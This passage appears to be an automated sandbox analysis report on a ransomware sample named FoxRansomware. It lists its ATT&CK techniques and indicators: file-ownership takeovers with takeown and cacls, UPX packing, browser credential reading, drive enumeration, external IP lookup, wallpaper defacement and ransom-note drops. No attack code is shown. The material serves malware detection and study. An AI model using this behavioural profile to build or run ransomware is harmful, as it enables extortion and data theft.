
T1222

Processes:

takeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

pid	process
344	takeown.exe
7080
5240
6816
7828
5996
6572
7736
6132	takeown.exe
6528	takeown.exe
7372
7264
7508
3720
7148
7128
7132	takeown.exe
5336	takeown.exe
4620	takeown.exe
4924	takeown.exe
7628	takeown.exe
5788
7204
4652
7200
5536	takeown.exe
1888	takeown.exe
5624	takeown.exe
2608	takeown.exe
7052	takeown.exe
7676	takeown.exe
868	takeown.exe
6576	takeown.exe
5552
5204
7320	takeown.exe
7388	takeown.exe
5240
7200
7136	takeown.exe
6620	takeown.exe
6576
6496
8180	takeown.exe
6376	takeown.exe
6032	takeown.exe
2384	takeown.exe
5900
6904
8172
5192
5728
6360	takeown.exe
5400
5088
6528
7200	takeown.exe
5240	takeown.exe
8148
6224
7260
7904	takeown.exe
6652	takeown.exe
8128	takeown.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe	upx
behavioral4/memory/6784-4424-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5592-5127-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/2468-5129-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6228-5133-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6636-5135-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6636-5136-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5716-5139-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6492-5142-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6580-5147-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/344-5150-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6560-5153-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6784-5155-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6660-5158-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7072-5161-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7020-5164-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7152-5166-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/2172-5168-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/1032-5173-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6064-5175-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/276-5178-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6044-5182-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/8096-5184-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6844-5186-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7992-5188-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7888-5190-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7836-5195-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7760-5198-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7688-5200-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7660-5203-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7508-5208-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7460-5211-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7352-5214-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7304-5217-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5536-5220-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6920-5223-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5512-5229-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5352-5232-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/376-5237-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/2316-5239-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/1804-5242-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/4572-5244-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5604-5248-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/2604-5250-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/2604-5252-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6312-5255-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/3432-5258-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/3448-5262-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5760-5265-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/4724-5271-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5700-5273-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/4964-5276-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6164-5278-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6624-5282-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/4720-5288-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/1040-5294-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5588-5296-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5832-5300-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6644-5302-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7328-5304-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6536-5305-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6460-5309-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/6496-5311-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/7072-5319-0x0000000000400000-0x0000000000477000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

8 powershell.exe

Drops desktop.ini file(s) 26 IoCs

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

description	ioc	process
File opened for modification	C:\Users\Public\Pictures\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

Enumerates connected drives 3 TTPs 44 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exekyAImsgA64.exe

description	ioc	process
File opened (read-only)	\??\T:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\J:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\O:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\K:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\H:	kyAImsgA64.exe
File opened (read-only)	\??\T:	kyAImsgA64.exe
File opened (read-only)	\??\S:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\N:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\B:	kyAImsgA64.exe
File opened (read-only)	\??\G:	kyAImsgA64.exe
File opened (read-only)	\??\V:	kyAImsgA64.exe
File opened (read-only)	\??\Z:	kyAImsgA64.exe
File opened (read-only)	\??\L:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\I:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\G:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\E:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\K:	kyAImsgA64.exe
File opened (read-only)	\??\L:	kyAImsgA64.exe
File opened (read-only)	\??\O:	kyAImsgA64.exe
File opened (read-only)	\??\Q:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\A:	kyAImsgA64.exe
File opened (read-only)	\??\M:	kyAImsgA64.exe
File opened (read-only)	\??\Y:	kyAImsgA64.exe
File opened (read-only)	\??\Y:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\W:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\V:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\R:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\P:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\E:	kyAImsgA64.exe
File opened (read-only)	\??\I:	kyAImsgA64.exe
File opened (read-only)	\??\N:	kyAImsgA64.exe
File opened (read-only)	\??\X:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\U:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\M:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\R:	kyAImsgA64.exe
File opened (read-only)	\??\W:	kyAImsgA64.exe
File opened (read-only)	\??\Z:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\H:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\J:	kyAImsgA64.exe
File opened (read-only)	\??\P:	kyAImsgA64.exe
File opened (read-only)	\??\Q:	kyAImsgA64.exe
File opened (read-only)	\??\S:	kyAImsgA64.exe
File opened (read-only)	\??\U:	kyAImsgA64.exe
File opened (read-only)	\??\X:	kyAImsgA64.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

134 myexternalip.com

flow	ioc
134	myexternalip.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\CLy07KqE.bmp"	reg.exe

Drops file in Program Files directory 64 IoCs

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

description	ioc	process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.access	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\kinit.exe	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\eo\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_es.properties	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansDemiBold.ttf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\zh-TW.pak	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\NEWS.txt	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\webkit.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\keytool.exe	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\webkit.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\[email protected]	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\lcms.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jvm.lib	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\WidevineCdm\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kab\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\create_stream.html	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\charsets.jar	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\es-419.pak	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\am_ET\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\net.properties	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxslt.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\03_lastfm.luac	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\GRAY.pf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\winamp2.xml	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jni.h	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\lua\sd\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\et.pak	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\es_MX\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libffi.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\currency.data	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\CompressMount.zip	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_200_percent.pak	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\or_IN\LC_MESSAGES\vlc.mo	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc-cache-gen.exe	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\asm.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\id.pak	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\meta-index	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#FOX_README#.rtf	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

takeown.exekyAImsgA.exetakeown.execmd.exekyAImsgA.execmd.exetakeown.execacls.execmd.execmd.execacls.exekyAImsgA.exetakeown.execmd.execmd.execacls.exetakeown.execmd.exetakeown.execmd.exekyAImsgA.execmd.execacls.execmd.exetakeown.execmd.execacls.exekyAImsgA.execacls.execmd.execmd.execacls.execacls.execmd.exekyAImsgA.execmd.exekyAImsgA.execmd.exekyAImsgA.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kyAImsgA.exe
